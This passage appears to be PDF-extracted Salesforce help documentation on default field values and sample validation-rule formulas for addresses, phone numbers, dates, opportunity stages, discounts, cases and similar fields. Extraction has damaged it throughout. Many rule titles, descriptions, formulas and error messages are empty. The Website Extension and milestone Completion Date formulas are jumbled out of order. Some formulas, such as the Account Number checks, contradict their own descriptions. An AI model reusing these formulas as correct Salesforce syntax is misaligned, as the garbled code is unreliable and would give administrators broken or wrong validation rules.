IF($User.City = "Sutter Creek", 0.0725,
IF($User.City = "Los Olivos", 0.0750,
IF($User.City = "Livermore", 0.0875, null
)
)
)
)
)
In this example, a tax rate of 8.75% is applied to an asset when the user's address is in the city of Livermore. When none of
the cities listed apply, the Tax Rate field is empty. You can also use the Tax Rate field in formulas to automatically calculate
taxable amounts and final sales prices.
See Also:
Defining Default Field Values
Default Field Value Considerations
About Default Field Values
Default field values automatically insert the value of a custom field when a new record is created. A default value can be based
on a formula for some types of fields or exact values such as Checked or Unchecked for checkbox fields. Review the following
considerations before incorporating default field values in your organization.
If a default value is based on the value of a merge field, Salesforce uses the value of the merge field at the time the default
value is executed. If the value of the merge field changes later, the default value is not updated.
Users can change or remove the default field value on a record.
Default values should not be assigned to fields that are both required and unique, as uniqueness errors may result.
If you make an activity custom field universally required, you must also provide a default value.
If an activity custom field is unique, you cannot provide a default value.
Default field values are different from formula fields in the following ways: they are only executed once, at record creation;
they are not read only; and the user can change the value but cannot restore the default field value.
Since the default value is inserted before users enter any values in the new record, you cannot use the fields on the current
record to create a default field value. For example, you cannot create a default field value on a contact that uses the first
initial and last name because those values are not available when you click New to create a contact record. However, you
can use the record type because it is selected before the record edit page displays.
To apply a different default value for different record types, use the record type as a merge field in a CASE function within
the default field value setup.
1158
Customize
Fields that are not visible to the user due to field-level security are still available in the formula for a default field value.
Connect Offline, Connect for Lotus Notes, Connect for Outlook, and Salesforce for Outlook do not display default values.
However, Salesforce inserts the default values when a user syncs unless the user entered a value.
Default field values are not available in the Self-Service portal.
Lead conversion, Web-to-Lead, and Web-to-Case do not execute default field values.
Note: You can define a formula for default values only where appropriate. For example, the default value options for
picklist and checkbox fields are limited to the options available for those types of fields, such as Checked, Unchecked,
or Use first value as default value.
See Also:
Defining Default Field Values
About Default Field Values
Useful Default Field Value Formulas
Customize Application
Validation rules verify that the data a user enters in a record meets the standards you specify before the user can save the record.
A validation rule can contain a formula or expression that evaluates the data in one or more fields and returns a value of True
or False. Validation rules also include an error message to display to the user when the rule returns a value of True due to
an invalid value.
To begin using validation rules, click Your Name > Setup > Customize, select the appropriate activity, and click Validation
Rules. For custom objects, click Your Name > Setup > Create > Objects and select the custom object. Validation rules are
listed in the Validation Rules related list. To create a validation rule for the field in Salesforce CRM Ideas, click Your Name
> Setup > Customize > Ideas > Comment Validation Rules.
To define a validation rule, click New. See Defining Validation Rules on page 1161.
To make changes to a validation rule, click Edit.
To delete a validation rule, click Del.
To view details about a validation rule, click field validation name.
To clone a validation rule, select the rule you want to clone and click Clone.
1159
Customize
To activate a validation rule, click Edit next to the rule you want to activate, select Active, and click Save. Deselect
Active to deactivate the rule.
See Also:
About Validation Rules
Examples of Validation Rules
Improve the quality of your data using validation rules. Validation rules verify that the data a user enters in a record meets the
standards you specify before the user can save the record. A validation rule can contain a formula or expression that evaluates
the data in one or more fields and returns a value of True or False. Validation rules also include an error message to display
to the user when the rule returns a value of True due to an invalid value.
After you have defined validation rules:
1. The user chooses to create a new record or edit an existing record.
2. The user clicks Save.
3. All validation rules are verified.
4. The user makes the necessary changes and clicks Save again.
You can specify the error message to display when a record fails validation and where to display it. For example, your error
message can be The close date must occur after today's date. You can choose to display it near a field or at the top of the
page. Like all other error messages, validation rule errors display in red text and are preceded by the word Error.
Important: Validation rules apply to new and updated records for an object, even if the fields referenced in the
validation rule are not included in a page layout or an API call. Validation rules don't apply if you create new records
for an object with Quick Create. If your organization has multiple page layouts for the object on which you create a
validation rule, verify that the validation rule functions as intended on each layout. If your organization has any
integrations that use this object, verify that the validation rule functions as intended for each integration.
See Also:
Defining Validation Rules
Examples of Validation Rules
1160
Customize
Customize Application
Validation rules verify that the data a user enters in a record meets the standards you specify before the user can save the record.
A validation rule can contain a formula or expression that evaluates the data in one or more fields and returns a value of True
or False. Validation rules also include an error message to display to the user when the rule returns a value of True due to
an invalid value.
Before creating validation rules, review the Validation Rule Considerations on page 1193.
To create validation rules:
1. For standard objects, click Your Name > Setup > Customize, select the appropriate activity, and click Validation Rules.
For custom objects, click Your Name > Setup > Create > Objects and select the custom object.
To create a validation rule for the field in Salesforce CRM Ideas, click Your Name > Setup > Customize > Ideas >
Comment Validation Rules.
To create validation rules for campaign members, click Your Name > Setup > Customize > Campaigns > Campaign
Member > Validation Rules.
To create validation rules for case milestones (entitlement management must be enabled), click Your Name > Setup >
Customize > Cases > Case Milestones > Validation Rules.
2. Click New in the Validation Rules related list.
3. Enter the properties of your validation rule:
Field
Description
Rule Name
Active
Description
A 255 character or less description that distinguishes the validation rule from
others. For internal purposes only.
The expression used to validate the field. See Building Formulas on page 1147 and
Operators and Functions on page 1203.
Error Message
The message that displays to the user when a field fails the validation rule.
If your organization uses the Translation Workbench, you can translate the error
message into the languages Salesforce supports. See Setting Up the Translation
Workbench on page 487.
1161
Customize
Field
Description
Error Location
Determines where on the page to display the error. To display the error next to a
field, choose Field and select the field. If the error location is a field, the validation
rule is also listed on the detail page of that field. If the error location is set to a
field that is later deleted or a field that is read only or not visible on the page layout,
Salesforce automatically changes the error location to Top of Page.
Note: Error messages can only be displayed at the top of the page in
validation rules for case milestones and Salesforce CRM Ideas.
See Also:
About Validation Rules
Examples of Validation Rules
Customize Application
Use the following samples for validation rules in Salesforce and Force.com AppExchange apps, including:
1162
Customize
See Also:
About Validation Rules
Defining Validation Rules
Value
Description:
Validates that the account Billing Zip/Postal Code is in the correct format if
Billing Country is Canada.
Formula:
AND(
OR(BillingCountry = "CAN", BillingCountry = "CA", BillingCountry
= "Canada"),
NOT(REGEX(BillingPostalCode,
"((?i)[ABCEGHJKLMNPRSTVXY]\\d[A-Z]?\\s?\\d[A-Z]\\d)?"))
)
Error Message:
Error Location:
Value
Description:
Validates that the account Billing Zip/Postal Code is valid by looking up the
first five characters of the value in a custom object called Zip_Code__c that contains a
record for every valid zip code in the US. If the zip code is not found in the Zip_Code__c
object, or the Billing State does not match the corresponding State_Code__c in
the Zip_Code__c object, an error is displayed.
Formula:
VLOOKUP(
$ObjectType.Zip_Code__c.Fields.City__c ,
$ObjectType.Zip_Code__c.Fields.Name ,
LEFT(BillingPostalCode,5)) <> BillingCity
Error Message:
Error Location:
1163
Customize
Value
Description:
Formula:
AND(
OR(BillingCountry = "USA", BillingCountry = "US"),
NOT(REGEX(BillingPostalCode, "\\d{5}(-\\d{4})?"))
)
Note: This example uses the REGEX function; see Shipping Zip Code on page
1164 if you are not familiar with regular expressions.
Error Message:
Error Location:
Value
Description:
Validates that the account Shipping Zip/Postal Code is in 99999 or 99999-9999 format
if Shipping Country is USA or blank.
1164
Customize
Field
Value
Formula:
AND(
OR(ShippingCountry = "USA", ISBLANK(ShippingCountry)),
OR(
AND(LEN(ShippingPostalCode) <>5,
LEN(ShippingPostalCode) <> 10),
NOT(CONTAINS("0123456789",
LEFT( ShippingPostalCode, 1))),
NOT(CONTAINS("0123456789",
MID( ShippingPostalCode , 2, 1))),
NOT(CONTAINS("0123456789",
MID( ShippingPostalCode , 3, 1))),
NOT(CONTAINS("0123456789",
MID( ShippingPostalCode , 4, 1))),
NOT(CONTAINS("0123456789",
MID( ShippingPostalCode , 5, 1))),
AND(
LEN(ShippingPostalCode) = 10,
OR(
MID( ShippingPostalCode , 6, 1) <> "-",
NOT(CONTAINS("0123456789",
MID( ShippingPostalCode , 7, 1))),
NOT(CONTAINS("0123456789",
MID( ShippingPostalCode , 8, 1))),
NOT(CONTAINS("0123456789",
MID( ShippingPostalCode , 9, 1))),
NOT(CONTAINS("0123456789",
MID( ShippingPostalCode , 10, 1)))
)
)
)
)
Note: This example interprets a blank country as US. To use this example with other
countries, remove the clause that checks the length of the country field. Also, validation
rule criteria are case sensitive, so this rule is only enforced when the country is blank or
USA in all capital letters. The rule is not enforced when the country is usa.
Tip: You can also validate zip codes using a regular expression; for an example of a
formula using a regular expression, see REGEX on page 1240.
Error Message:
Error Location:
Value
Description:
1165
Customize
Field
Value
Formula:
AND (
OR(BillingCountry = "US", BillingCountry="USA",
ISBLANK(BillingCountry)),
OR(
LEN(BillingState) < 2,
NOT(
CONTAINS("AL:AK:AZ:AR:CA:CO:CT:DE:DC:FL:GA:HI:ID:" &
"IL:IN:IA:KS:KY:LA:ME:MD:MA:MI:MN:MS:MO:MT:NE:NV:NH:" &
"NJ:NM:NY:NC:ND:OH:OK:OR:PA:RI:SC:SD:TN:TX:UT:VT:VA:" &
"WA:WV:WI:WY", BillingState)
)))
Note: This example interprets a blank country as US. To use this example with
other countries, remove the clause that checks the length of the country field.
Also, validation rule criteria are case sensitive, so this rule is only enforced when
the country is blank or USA in all capital letters. The rule is not enforced
when the country is usa.
Error Message:
Error Location:
Billing State/Province
Value
Description:
Formula:
AND (
OR(BillingCountry = "CA", BillingCountry="CAN"),
OR(
LEN(BillingState) < 2,
NOT(
CONTAINS("AB:BC:MB:NB:NL:NT:NS:NU:ON:PC:QC:SK:YT", BillingState)
)))
Error Message:
Error Location:
Billing State/Province
Value
Description:
1166
Customize
Field
Value
Formula:
AND (
OR(ShippingCountry = "US", ShippingCountry="USA",
ISBLANK(ShippingCountry)),
OR(
LEN(ShippingState) < 2,
NOT(
CONTAINS("AL:AK:AZ:AR:CA:CO:CT:DE:DC:FL:GA:HI:ID:" &
"IL:IN:IA:KS:KY:LA:ME:MD:MA:MI:MN:MS:MO:MT:NE:NV:NH:" &
"NJ:NM:NY:NC:ND:OH:OK:OR:PA:RI:SC:SD:TN:TX:UT:VT:VA:" &
"WA:WV:WI:WY", ShippingState)
)))
Note: This example interprets a blank country as US. To use this example with other countries,
remove the clause that checks the length of the country field. Also, validation rule criteria are
case sensitive, so this rule is only enforced when the country is blank or USA in all capital
letters. The rule is not enforced when the country is usa.
Error Message:
Error Location:
Shipping State/Province
Value
Description:
Formula:
AND (
OR(ShippingCountry = "CA", ShippingCountry="CAN"),
OR(
LEN(ShippingState) < 2,
NOT(
CONTAINS("AB:BC:MB:NB:NL:NT:NS:NU:ON:PC:QC:SK:YT", ShippingState)
)))
Error Message:
Error Location:
Shipping State/Province
Value
Description:
Validates that the account Billing Country is a valid ISO 3166 two-letter code.
1167
Customize
Field
Value
Formula:
OR(
LEN(BillingCountry) = 1,
NOT(
CONTAINS(
"AF:AX:AL:DZ:AS:AD:AO:AI:AQ:AG:AR:AM:" &
"AW:AU:AZ:BS:BH:BD:BB:BY:BE:BZ:BJ:BM:BT:BO:" &
"BA:BW:BV:BR:IO:BN:BG:BF:BI:KH:CM:CA:CV:KY:" &
"CF:TD:CL:CN:CX:CC:CO:KM:CG:CD:CK:CR:CI:HR:" &
"CU:CY:CZ:DK:DJ:DM:DO:EC:EG:SV:GQ:ER:EE:ET:FK:" &
"FO:FJ:FI:FR:GF:PF:TF:GA:GM:GE:DE:GH:GI:GR:GL:" &
"GD:GP:GU:GT:GG:GN:GW:GY:HT:HM:VA:HN:HK:HU:" &
"IS:IN:ID:IR:IQ:IE:IM:IL:IT:JM:JP:JE:JO:KZ:KE:KI:" &
"KP:KR:KW:KG:LA:LV:LB:LS:LR:LY:LI:LT:LU:MO:MK:" &
"MG:MW:MY:MV:ML:MT:MH:MQ:MR:MU:YT:MX:FM:MD:MC:" &
"MC:MN:ME:MS:MA:MZ:MM:MA:NR:NP:NL:AN:NC:NZ:NI:" &
"NE:NG:NU:NF:MP:NO:OM:PK:PW:PS:PA:PG:PY:PE:PH:" &
"PN:PL:PT:PR:QA:RE:RO:RU:RW:SH:KN:LC:PM:VC:WS:" &
"SM:ST:SA:SN:RS:SC:SL:SG:SK:SI:SB:SO:ZA:GS:ES:" &
"LK:SD:SR:SJ:SZ:SE:CH:SY:TW:TJ:TZ:TH:TL:TG:TK:" &
"TO:TT:TN:TR:TM:TC:TV:UG:UA:AE:GB:US:UM:UY:UZ:" &
"VU:VE:VN:VG:VI:WF:EH:YE:ZM:ZW",
BillingCountry)))
Error Message:
Error Location:
Billing Country
Value
Description:
Formula:
AND(
ISBLANK(AccountNumber),
NOT(ISNUMBER(AccountNumber))
)
Error Message:
Error Location:
Account Number
Value
Description:
Validates that the Account Number is exactly seven digits (if it is not blank). The
number seven is simply illustrative. You can change this to any number you like.
1168
Customize
Field
Value
Formula:
AND(
ISBLANK(AccountNumber),
LEN(AccountNumber) <> 7
)
Error Message:
Error Location:
Account Number
Value
Description:
Validates that the account Annual Revenue is not negative and does not exceed $100
billion. This limit is designed to catch typos.
Formula:
OR(
AnnualRevenue < 0,
AnnualRevenue > 100000000000
)
Error Message:
Error Location:
Annual Revenue
Value
Description:
Ensures that users cannot save a time card record with more than 40 hours in a work
week. This example requires five custom fields on your custom object, one for each day
of work.
Formula:
Monday_Hours__c +
Tuesday_Hours__c +
Wednesday_Hours__c +
Thursday_Hours__c +
Friday_Hours__c > 40
Error Message:
Error Location:
Top of Page
1169
Customize
Value
Description:
Validates that a custom field called Hours Worked is not a negative number.
Formula:
Hours_Worked__c < 0
Error Message:
Error Location:
Hours Worked
Value
Description:
Validates that a custom field called Ark Passengers is a non-negative even number.
Formula:
OR(
Ark_Passengers__c < 0,
MOD( Ark_Passengers__c, 2) <> 0
)
Error Message:
Error Location:
Ark Passengers
Value
Description:
Validates that a custom field called Socks Found is a non-negative odd number.
Formula:
OR(
Socks_Found__c < 0,
MOD( Socks_Found__c, 2) = 0
)
Error Message:
Error Location:
Socks Found
Value
Description:
1170
Customize
Field
Value
Formula:
MOD( Multiple_of_5__c, 5) <> 0
Error Message:
Error Location:
Multiple of 5
Value
Description:
Formula:
FLOOR( My_Integer__c) <> My_Integer__c
Error Message:
Error Location:
My Integer
Value
Description:
Validates that a custom field called Volume is between -50 and 50.
Formula:
ABS( Volume__c) > 50
Error Message:
Error Location:
Volume
Value
Description:
Validates that the range between two custom fields, Salary Min and Salary Max,
is no greater than $20,000.
Formula:
(Salary_Max__c - Salary_Min__c) > 20000
Error Message:
Salary range must be within $20,000. Adjust the Salary Max or Salary Min values.
Error Location:
Salary Max
1171
Customize
Value
Description:
Validates that a custom field called Mix Pct is between 0 and 100%. Note that percent
fields are expressed divided by 100 in formulas (100% is expressed as 1; 50% is expressed
as 0.5).
Formula:
OR(
Mix_Pct__c > 1.0,
Mix_Pct__c < 0.0
)
Error Message:
Error Location:
Mix Pct
Value
Description:
Validates that the contact Mailing Street, Mailing City, and Mailing Country
are provided.
Formula:
OR(
ISBLANK( MailingStreet ),
ISBLANK( MailingCity ),
ISBLANK( MailingCountry )
)
Error Message:
Error Location:
Top of Page
Value
Description:
Formula:
ISBLANK( MailingStreet )
Error Message:
Error Location:
Mailing Street
1172
Customize
Value
Description:
Validates that the contact Mailing Zip/Postal Code is in 99999 or 99999-9999 format if
Mailing Country is USA or blank.
Formula:
AND(
OR(MailingCountry = "USA", ISBLANK(MailingCountry)),
OR(
AND(LEN(MailingPostalCode) <>5,
LEN(MailingPostalCode) <> 10),
NOT(CONTAINS("0123456789",
LEFT( MailingPostalCode, 1))),
NOT(CONTAINS("0123456789",
MID( MailingPostalCode , 2, 1))),
NOT(CONTAINS("0123456789",
MID( MailingPostalCode , 3, 1))),
NOT(CONTAINS("0123456789",
MID( MailingPostalCode , 4, 1))),
NOT(CONTAINS("0123456789",
MID( MailingPostalCode , 5, 1))),
AND(
LEN(MailingPostalCode) = 10,
OR(
MID( MailingPostalCode , 6, 1) <> "-",
NOT(CONTAINS("0123456789",
MID( MailingPostalCode , 7, 1))),
NOT(CONTAINS("0123456789",
MID( MailingPostalCode , 8, 1))),
NOT(CONTAINS("0123456789",
MID( MailingPostalCode , 9, 1))),
NOT(CONTAINS("0123456789",
MID( MailingPostalCode , 10, 1)))
)
)
)
)
Note: This example interprets a blank country as US. To use this example with other
countries, remove the clause that checks the length of the country field. Also, validation
rule criteria are case sensitive, so this rule is only enforced when the country is blank or
USA in all capital letters. The rule is not enforced when the country is usa.
Tip: You can also validate zip codes using a regular expression; for an example of a
formula using a regular expression, see REGEX on page 1240.
Error Message:
Error Location:
Value
Description:
Validates that the Phone number begins with a plus sign (+) for country code. Note that
this validation rule conflicts with the ten-digit rule.
1173
Customize
Field
Value
Formula:
LEFT(Phone, 1) <> "+"
Error Message:
Error Location:
Phone
Value
Description:
Validates that the Phone number is in (999) 999-9999 format. This works by using the
REGEX function to check that the number has ten digits in the (999) 999-9999 format.
Formula:
NOT(REGEX(Phone, "\\D*?(\\d\\D*?){10}"))
Error Message:
Error Location:
Phone
Value
Description:
Validates that the value of a custom date field is a weekday (not Saturday or Sunday).
Formula:
CASE(MOD( My_Date__c - DATE(1900, 1, 7), 7),
0, 0,
6, 0,
1) = 0
Error Message:
Error Location:
My Date
Value
Description:
1174
Customize
Field
Value
Formula:
CASE( MOD( My_Date__c - DATE(1900, 1, 7), 7),
0, 1,
6, 1,
0) = 0
Error Message:
Error Location:
My Date
Value
Description:
Validates that a custom date field contains a date within the current month and year.
Formula:
OR (
YEAR( My_Date__c ) <> YEAR ( TODAY() ),
MONTH( My_Date__c ) <> MONTH ( TODAY() )
)
Error Message:
Error Location:
My Date
Value
Description:
Validates that a custom date field contains a date within the current year.
Formula:
Error Message:
Error Location:
My Date
Value
Description:
Validates whether a custom field called My Date is the last day of the month. To do
this, it determines the date of the first day of the next month and then subtracts 1 day.
It includes special case logic for December.
Formula:
DAY(My_Date__c) <>
IF(Month(My_Date__c)=12, 31,
DAY(DATE(YEAR(My_Date__c),MONTH(My_Date__c)+1,1) - 1))
Error Message:
1175
Customize
Field
Value
Error Location:
My Date
Value
Description:
Validates whether a custom field called Follow-Up Date is within one year of todays
date. This example assumes a 365 day year. (It does not handle leap years.)
Formula:
Followup_Date__c - TODAY() > 365
Error Message:
Error Location:
Follow-Up Date
Value
Description:
Validates that a custom field called Begin Date contains a date in the first 15 days of
the specified month.
Formula:
DAY( Begin_Date__c ) > 15
Error Message:
Error Location:
Begin Date
Value
Description:
Validates that a custom field called End Date does not come before another custom
field called Begin Date.
Formula:
Begin_Date__c > End_Date__c
Error Message:
Error Location:
Begin Date
1176
Customize
Value
Description:
Validates that a custom field called Expiration Date does not come before Close
Date.
Formula:
Expiration_Date__c < CloseDate
Error Message:
Error Location:
Expiration Date
Value
Description:
Validates that a custom field called Delivery Date is provided if an opportunity has
advanced to the Closed Won or Negotiation/Review stage.
Formula:
AND (
OR (
ISPICKVAL(StageName, "Closed Won"),
ISPICKVAL(StageName, "Negotiation/Review")),
ISBLANK(Delivery_Date__c)
)
Error Message:
Error Location:
Delivery Date
Value
Description:
Validates that the Close Date of an opportunity is not within a month prior to the
current month. Note the use of ISNEW and ISCHANGED in this formula to ensure
the condition is only checked when the opportunity is being created or the Close Date
field is modified subsequently.
Formula:
AND(
OR (
ISNEW(),
ISCHANGED( CloseDate )),
CloseDate < DATE( YEAR(TODAY()), MONTH(TODAY()), 1) )
Error Message:
1177
Customize
Field
Value
Error Location:
Close Date
Value
Description:
Ensures that users do not change the Close Date of an opportunity to a day in the past.
Formula:
SampleDate < TODAY()
Error Message:
Error Location:
Close Date
Discounts on Opportunities
Field
Value
Description:
Formula:
Error Message:
Error Location:
Discount Rate
Value
Description:
Opportunities with amounts greater than $50,000 require that a custom checkbox field
called Approved is checked in order to change the stage to Closed Won or Closed Lost.
To automate this, set field-level security on the Approved checkbox so that it can only
be checked via a custom approval process (Enterprise Edition or Unlimited Edition).
Formula:
AND(
OR(
ISPICKVAL(StageName,"Closed Won"),
ISPICKVAL(StageName,"Closed Lost")),
(Amount > 50000),
NOT(ISPICKVAL(Approval_Status__c ,"Approved")))
Error Message:
All high-value opportunities must be approved for closure. Click the Request Close
button.
Error Location:
Top of Page
1178
Customize
Value
Description:
Validates that opportunity Amount is positive and no more than $10 million. This limit
is designed to catch typos.
Formula:
OR(
Amount < 0,
Amount > 10000000
)
Error Message:
Error Location:
Amount
Value
Description:
Validates that an opportunity has at least one opportunity product before users can save a change
to an opportunity.
Formula:
NOT(OR(ISNEW(),HasOpportunityLineItem))
Error Message:
Error Location:
Top of Page
Value
Description:
Validates that an opportunity has opportunity products before the Stage can move
beyond Needs Analysis.
Formula:
AND (
CASE( StageName,
"Value Proposition", 1,
"Id. Decision Makers", 1,
"Perception Analysis", 1,
"Proposal/Price Quote", 1,
"Negotiation/Review", 1,
"Closed Won", 1,
0) = 1,
NOT(HasOpportunityLineItem)
)
Error Message:
Opportunity products are required to advance beyond the Needs Analysis stage.
Error Location:
Top of Page
1179
Customize
Value
Description:
Validates that an opportunity contains a hyphen as a way of enforcing an [Account] [Amount] opportunity naming convention.
Formula:
FIND( " - ", Name ) = 0
Error Message:
Error Location:
Opportunity Name
Value
Description:
Prevent sales reps from changing opportunity Stage backwards to specific values, once
they have accepted the opportunity via a custom approval process. The approval process
sets the custom Accepted Flag checkbox to True.
Formula:
AND(
Accepted_Flag__c,
OR ( ISPICKVAL( StageName, "Stage 1"), ISPICKVAL( StageName,
"Stage 2"))
)
Error Message:
Error Location:
Stage
Value
Description:
Validates that the probability of a won opportunity is properly set to 100%. This is useful
for data cleanliness and reporting purposes.
Formula:
AND (
ISPICKVAL( StageName, "Closed Won"),
Probability <> 1)
Error Message:
Error Location:
Probability
1180
Customize
Value
Description:
Validates that the probability of a lost opportunity is properly set to zero. This is useful
for data cleanliness and reporting purposes.
Formula:
AND (
ISPICKVAL( StageName, "Closed Lost"),
Probability <> 0)
Error Message:
Error Location:
Probability
Value
Description:
Validates that a field is conditionally required based on the values of other fields. Use this
validation formula to ensure that users include a Project Start Date for an opportunity
that is closed/won.
Formula:
AND(ISPICKVAL(StageName, "Closed Won"),
ISNULL(Project_Start_Date__c))
Error Message:
Error Location:
Value
Description:
Formula:
Discount > .40
Error Message:
Error Location:
Discount on quote
1181
Customize
Value
Description:
Validates that a custom field called Other Reason contains a value if a case has a Case
Reason of Other.
Formula:
AND(
ISPICKVAL( Reason, "Other" ),
ISBLANK(Other_Reason__c)
)
Error Message:
Error Location:
Other Reason
Value
Description:
If a case is already open, prevents the Status from being changed back to New.
Formula:
AND(
ISCHANGED( Status ),
NOT(ISPICKVAL(PRIORVALUE( Status ), "New")),
ISPICKVAL( Status, "New")
)
Error Message:
Error Location:
Status
Value
Description:
Validates that the case Status is Re-opened when a closed case is opened again.
Formula:
AND(
ISCHANGED( Status ),
OR(
ISPICKVAL(PRIORVALUE( Status ), "Closed"),
ISPICKVAL(PRIORVALUE( Status ),
"Closed in SSP")),
NOT( ISPICKVAL( Status, "Re-Opened"))
)
Error Message:
1182
Customize
Field
Value
Error Location:
Status
Value
Description:
Validates that a milestone's Completion Date can't occur after the case's Status is
Closed.
Formula:
Case.IsClosed
= true
Error Message:
Error Location:
Top of Page
Value
Description:
Validates that the milestone's Completion Date has occurred after the case's
Date/Time Opened.
Formula:
CompletionDate >=
Case.ClosedDate
Case.CreatedDate
&&
CompletionDate
<=
Error Message:
The milestone Completion Date must occur after the date the case was created and
before the case was closed.
Error Location:
Top of Page
Value
Description:
Validates that a custom field on opportunities called Discount Percent does not
exceed a maximum value that varies depending on the users role. The default maximum
is 15%.
1183
Customize
Field
Value
Formula:
Discount_Percent__c >
VLOOKUP($ObjectType.Role_Limits__c.Fields.Limit__c,
$ObjectType.Role_Limits__c.Fields.Name,
$UserRole.Name)
Error Message:
Error Location:
Discount Percent
Value
Description:
Validates a custom field called Expense Amount against a custom user field called Max
Allowed Expense.
Formula:
Expense_Amount__c > $User.Max_Allowed_Expense__c
Error Message:
Error Location:
Expense Amount
Value
Description:
Ensures that only the record owner can make changes to a custom field called Personal
Goal.
Formula:
AND(
ISCHANGED( Personal_Goal__c ),
Owner <> $User.Id
)
Error Message:
Error Location:
Personal Goal
Value
Description:
Ensures that a user can make changes to a custom field called Personal Goal only if
the user is the record owner or has a custom profile of Custom: System Admin.
1184
Customize
Field
Value
Formula:
AND(
ISCHANGED( Personal_Goal__c ),
Owner <> $User.Id,
$Profile.Name <> "Custom: System Admin"
)
Note: $Profile merge fields are only available in Enterprise, Unlimited, and
Developer Editions.
Error Message:
Error Location:
Personal Goal
Value
Description:
Validates that the Close Date of an opportunity does not fall prior to the current
month, except for users who have a custom profile called Custom: System Admin.
Formula:
AND(
OR (
ISNEW(),
ISCHANGED( CloseDate )),
CloseDate < DATE( YEAR(TODAY()), MONTH(TODAY()), 1),
$Profile.Name <> "Custom: System Admin"
)
Note: $Profile merge fields are only available in Enterprise, Unlimited, and
Developer Editions.
Error Message:
Error Location:
Close Date
1185
Customize
Field
Value
Description:
Formula:
AND(Line_Discount__c > 0.10,
ISPICKVAL(Product2.Family, "Software"))
Error Message:
Error Location:
Line Discount
Consulting Discounts
Field
Value
Description:
Formula:
AND(Line_Discount__c > 0.15,
ISPICKVAL(Product2.Family, "Consulting"))
Error Message:
Error Location:
Line Discount
Training Discounts
Field
Value
Description:
Formula:
AND(Line_Discount__c > 0.20,
ISPICKVAL(Product2.Family, "Training"))
Error Message:
Error Location:
Line Discount
Value
Description:
1186
Customize
Field
Value
Formula:
OR(ISPICKVAL(Opportunity.StageName, "Closed
Won"), ISPICKVAL(Opportunity.StageName,
"Closed Lost"))
Error Message:
Error Location:
Top of Page
Value
Description:
Formula:
AND(OR(ISPICKVAL(StageName, "Closed Won"),
ISPICKVAL(StageName, "Closed Lost")),
Number_of_Line_Items__c <
PRIORVALUE(Number_of_Line_Items__c) )
Error Message:
Error Location:
Top of Page
Value
Description:
Prevents users from saving a case for an account that does not
have support. This example assumes you have a custom
checkbox field on accounts called Allowed Support that
tracks if the account has support.
Formula:
Account.Allowed_Support__c
= FALSE
Error Message:
Error Location:
Top of Page
1187
Customize
Value
Description:
Formula:
AND(Contact.Not_Longer_With_Company__c,
NOT(IsClosed))
Error Message:
Error Location:
Contact Name
Value
Description:
Prevents users from entering offensive language in the Title and Description fields
when asking a question.
Formula:
OR(CONTAINS(Title, 'darn'), CONTAINS(Body, 'darn'))
Error Message:
Value
Description:
Formula:
OR(CONTAINS(Body, 'darn'), CONTAINS(Body, 'dang'))
Error Message:
Value
Description:
Prevents users from entering offensive language in the Title and Description fields
when posting an idea.
1188
Customize
Field
Value
Formula:
OR(CONTAINS(Title, 'darn'), CONTAINS(Body, 'darn'))
Error Message:
Value
Description:
Formula:
OR(CONTAINS(CommentBody , 'darn'), CONTAINS(CommentBody, 'dang'))
Error Message:
Value
Description:
Allows a custom field called Commit Amount to be increased but not decreased after
initial creation. This rule uses the PRIORVALUE() function to compare the updated
value of the field to its value prior to update.
Formula:
PRIORVALUE(Commit_Amount__c) > Commit_Amount__c
Error Message:
Error Location:
Commit Amount
Value
Description:
Ensures that a custom field called Drivers License is in the correct A9999999 format
when the Mailing State is CA.
Formula:
AND(
MailingState = "CA",
NOT(REGEX(Drivers_License__c, "([A-Z]\\d{7})?"))
)
Error Message:
1189
Customize
Field
Value
Error Location:
Drivers License
Value
Description:
Uses a checkbox labeled I accept terms to force the user to select a checkbox in order
to enter a value called Number of Days that exceeds their Paid Time Off (PTO)
balance available.
Formula:
AND(
NOT( I_accept_terms__c ),
Number_of_Days__c > $User.PTO_Balance__c
)
Error Message:
Request will cause a negative PTO balance. You must accept Negative PTO Balance
terms.
Error Location:
I accept terms
Value
Description:
Prevents users from changing a custom field called Guaranteed Rate after it has been
saved initially.
Formula:
AND(
NOT( ISNEW() ),
ISCHANGED( Guaranteed_Rate__c )
)
Error Message:
Error Location:
Guaranteed Rate
Value
Description:
Validates that a custom text field called SSN is formatted in 999-99-9999 number format
(if it is not blank). The pattern specifies:
Three single digits (0-9):\\d{3}
A dash
Two single digits (0-9):\\d{2}
A dash
Four single digits (0-9):\\d{4}
1190
Customize
Field
Value
Formula:
NOT(
OR(
ISBLANK(Social_Security_Number__c),
REGEX( Social_Security_Number__c , "[0-9]{3}-[0-9]{2}-[0-9]{4}")
)
)
Error Message:
Error Location:
SSN
Valid Currency
Field
Value
Description:
Formula:
CASE(CurrencyIsoCode,
"USD", 1,
"EUR", 1,
"GBP", 1,
"JPY", 1,
0) = 0
Error Message:
Error Location:
Currency
Value
Description:
Formula:
NOT( REGEX( Credit_Card_Number__c ,
"(((\\d{4}-){3}\\d{4})|\\d{16})?"))
Error Message:
1191
Customize
Field
Value
Error Location:
Valid IP Address
Field
Value
Description:
Ensures that a custom field called IP Address is in the correct format, four 3-digit
numbers (0-255) separated by periods.
Formula:
NOT(
REGEX( IP_Address__c,
"^((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.)
{3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$" ))
Error Message:
Error: IP Address must be in form 999.999.999.999 where each part is between 0 and
255.
Error Location:
IP Address
Website Extension
Field
Value
Description:
Validates a custom field called Web Site to ensure its last four characters are in an
explicit set of valid website extensions.
Formula:
AND(
RIGHT(
RIGHT(
RIGHT(
RIGHT(
RIGHT(
RIGHT(
RIGHT(
RIGHT(
)
Web_Site__c,
Web_Site__c,
Web_Site__c,
Web_Site__c,
Web_Site__c,
Web_Site__c,
Web_Site__c,
Web_Site__c,
4)
4)
4)
4)
4)
4)
6)
6)
<>
<>
<>
<>
<>
<>
<>
<>
".COM",
".com",
".ORG",
".org",
".NET",
".net",
".CO.UK",
".co.uk"
Error Message:
Error Location:
Web Site
1192
Customize
Validation rules verify that the data a user enters in a record meets the standards you specify before the user can save the record.
A validation rule can contain a formula or expression that evaluates the data in one or more fields and returns a value of True
or False. Validation rules also include an error message to display to the user when the rule returns a value of True due to
an invalid value. Review the following implementation notes and best practices before implementing validation rules in your
organization.
Implementation Notes
It isn't necessary to begin your validation rule formula with an IF function. Any Boolean error condition expression works.
For example:
Correct: CloseDate < TODAY()
Incorrect: IF(CloseDate < TODAY(), TRUE, FALSE)
Validation formulas can't reference merge fields for auto number or compound address fields like Mailing Address.
However, merge fields for individual address fields, such as Billing City, can be used in validation formulas.
